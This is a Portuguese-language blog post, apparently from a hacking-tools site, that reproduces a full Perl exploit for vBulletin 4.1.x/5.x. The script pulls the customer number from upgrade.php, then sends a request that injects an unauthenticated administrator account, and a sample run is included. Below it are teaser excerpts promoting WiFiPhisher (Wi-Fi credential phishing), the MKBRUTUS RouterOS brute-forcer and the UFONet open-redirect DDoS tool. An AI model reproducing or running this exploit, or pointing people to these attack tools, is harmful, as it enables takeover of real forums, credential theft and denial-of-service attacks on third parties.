Pular para o conteúdo principal

Exploit vBulletin versões 4.1.x e 5.xx

vBulletin versões 4.1.xe 5.xx sofre de uma vulnerabilidade de injeção de usuário administrativo remoto não autenticado via upgrade.php.

 #!/usr/bin/perl  
 #  
 # Title: vBulletin remote admin injection exploit  
 # Author: Simo Ben youssef  
 # Contact: Simo_at_Morxploit_com  
 # Coded: 17 September 2013  
 # Published: 24 October 2013  
 # MorXploit Research  
 # http://www.MorXploit.com  
 #   
 # Vendor: vBulletin (www.vbulletin.com)  
 # Version: 4.1.x / 5.x.x  
 # Vulnerability: Remote admin injection  
 # Severity: High  
 # Status: Confirmed  
 #  
 # Exploit code description:  
 # Perl code to inject a new admin account through upgrade.php script.  
 #  
 # Vulnerability details:  
 # upgrade.php is vulnerable to a new admin account injection, the script doesn't require autentication when upgrading  
 # it only requires the customer number which can be extracted through the same script source code.  
 #  
 # Fix:  
 # Rename or delete the install folder until a fix is released.  
 #  
 # Author disclaimer:  
 # The information contained in this entire document is for educational, demonstration and testing purposes only.  
 # Author cannot be held responsible for any malicious use. Use at your own risk.  
 #  
 # Exploit usage:  
 #  
 # root@MorXploit:/home/simo/morx# perl morxvb.pl localhost  
 #   
 # ===================================================  
 # --- vbulletin admin injection exploit  
 # --- By: Simo Ben youssef <simo_at_morxploit_com>  
 # --- MorXploit Research www.MorXploit.com  
 # ===================================================  
 # [*] Trying to get customer number ... hold on!  
 # [+] Got xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx!  
 # [*] Trying to MorXploit localhost ... hold on!  
 # [+] Admin account successfully injected!  
 # [+] Admin: MorXploit  
 # [+] Pass: m0rxpl017  
 use strict;  
 use IO::Socket;  
 if(!defined($ARGV[0])) {  
 system ('clear');  
 print "\n";  
 print "===================================================\n";  
 print "--- vbulletin admin injection exploit\n";  
 print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n";  
 print "--- MorXploit Research www.MorXploit.com\n";  
 print "===================================================\n";  
 print "--- Usage: perl $0 target\n\n";  
 exit; }  
 my $site = $ARGV[0];  
 ##### Change these as needed #####  
 my $user = "MorXploit";  
 my $passwd = "m0rxpl017";  
 my $email = "dev%40null.com";  
 my $path = "/install/upgrade.php";  
 ##################################  
 my $accept = "Accept: */*";  
 my $ct = "application/x-www-form-urlencoded";  
 my $port = "80";  
 system ('clear');  
 print "\n";  
 print "===================================================\n";  
 print "--- vbulletin admin injection exploit\n";  
 print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n";  
 print "--- MorXploit Research www.MorXploit.com\n";  
 print "===================================================\n";  
 my $sock = new IO::Socket::INET ( PeerAddr => "$site",PeerPort => "$port",Proto => "tcp"); die "\n[-] Can't creat socket: $!\n" unless $sock;  
 print "[*] Trying to get customer number ... hold on!\n";  
 print $sock "GET $path HTTP/1.1\n";   
 print $sock "Host: $site\n";  
 print $sock "$accept\n";  
 print $sock "Content-Type: $ct\n";  
 print $sock "Connection: Close\n\n";  
 my $gotcn;  
 while(my $cn = <$sock>) {  
 if ($cn =~ /CUSTNUMBER = \"(.*?)\"/){  
 $gotcn = $1;  
 }  
 }  
 if (!defined $gotcn) {  
 print "[-] Failed to get customer number! Nulled? Going to try anyway!\n";  
 }  
 else {  
 print "[+] Got $gotcn!\n";  
 }  
 my $xploit = "ajax=1&version=install&checktable=false&firstrun=false&step=7&startat=0&only=false&customerid=$gotcn&options[skiptemplatemerge]=0&response=yes&htmlsubmit=1&htmldata[username]=$user&htmldata[password]=$passwd&htmldata[confirmpassword]=$passwd&htmldata[email]=$email";  
 my $cl = length($xploit);  
 my $content = "Content-Length: $cl";  
 my $sock2 = new IO::Socket::INET ( PeerAddr => "$site",PeerPort => "$port",Proto => "tcp"); die "\n[-] Can't creat socket: $!\n" unless $sock;  
 print "[*] Trying to MorXploit $site ... hold on!\n";  
 print $sock2 "POST $path HTTP/1.1\n";  
 print $sock2 "Host: $site\n";  
 print $sock2 "$accept\n";  
 print $sock2 "Cookie: bbcustomerid=$gotcn\n";  
 print $sock2 "Content-Length: $cl\n";  
 print $sock2 "Content-Type: $ct\n";  
 print $sock2 "Connection: Close\n\n";  
 print $sock2 "$xploit\n\n";  
 while(my $result = <$sock2>){  
 if ($result =~ /Administrator account created/) {  
 print "[+] Admin account successfully injected!\n";  
 print "[+] Admin: $user\n";  
 print "[+] Pass: $passwd\n";  
 exit;  
 }  
 }  
 print "[-] Failed, something went wrong\n";  
 exit;  

Comentários

Postagens mais visitadas deste blog

WiFiPhisher - Ataques Automatizados de Phishing Contra Redes Wi-Fi

Um pesquisador de segurança grego, chamado George Chatzisofroniou, desenvolveu uma ferramenta de engenharia social WiFi que é projetado para roubar credenciais de usuários de redes Wi-Fi segura. A ferramenta, batizada WiFiPhisher, foi lançado no site do desenvolvimento de software GitHub no domingo e está disponível gratuitamente para os usuários.   "É um ataque de engenharia social que não usa força bruta, em contraste com outros métodos. É uma maneira fácil de obter senhas WPA", disse George Chatzisofroniou. No entanto, existem várias ferramentas de hacker disponíveis na Internet que pode cortar de uma rede Wi-Fi segura, mas esta ferramenta automatiza múltipla Wi-Fi técnicas que o tornam um pouco diferente dos outros hackers. Ferramenta WiFiPhisher usa ataque "gêmeo do mal " cenário. O mesmo que o gêmeo do mal, a ferramenta cria primeiro um ponto de acesso sem fio falso (AP) mascarar-se como o legítimo Wi-Fi AP. Em seguida, ele dirige uma negação de...

MKBRUTUS – Brute Force para MikroTik e dispositivos com RouterOS

O MKBRUTUS é uma ferramenta desenvolvida em Python 3 que realiza ataques de força bruta em sistemas (baseados em dicionário) contra RouterOS (ver. 3.x ou superior), que têm a porta 8728/TCP aberto. O MKBRUTUS é uma ferramenta desenvolvida em Python 3 que realiza ataques de força bruta em sistemas (baseados em dicionário) contra RouterOS (ver. 3.x ou superior), que têm a porta 8728/TCP aberto. Desenvolvedores: Ramiro Caire  | ramiro.caire@gmail.com | Twitter: @rcaire Federico Massa | fgmassa@vanguardsec.com | Twitter: @fgmassa Projeto:   github.com/mkbrutusproject/mkbrutus 01 Passo Verifique a versão atual do python em seguida realiza a instalação da versão 3 root@kali:~# python –version (Exibe a versão do Python) root@kali:~# apt-get install python3 (Realiza a instalação do Python 3) 02 Passo Execute o comando de verificação da versão do Python novamente e observe que a versão não mudou mas a instalação da ver...

UFONet Open Redirect DDoS Attack

UFONet – is a tool designed to launch DDoS attacks against a target, using ‘Open Redirect’ vectors on third party web applications, like botnet. See this links for more info: https://www.python.org/downloads/ http://pycurl.sourceforge.net/ Installing UFONet UFONet runs on many platforms. It requires Python (2.x.y) and the following library: - python-pycurl - Python bindings to libcurl On Debian-based systems (ex: Ubuntu), run: sudo apt-get install python-pycurl Source libs: Searching for ‘zombies’ UFONet will search on google results for possible ‘Open Redirect’ vulnerable sites. A common query string should be like this: ‘proxy.php?url=’ ‘check.cgi?url=’ ‘checklink?uri=’ ‘validator?uri=’ So for example, you can begin a search with: ./ufonet -s 'proxy.php?url=' At the end of the process, you will be asked if you want to check the list retrieved to see if the urls are vulnerable. Wanna check if they are valid zombies? (Y/n) Also, y...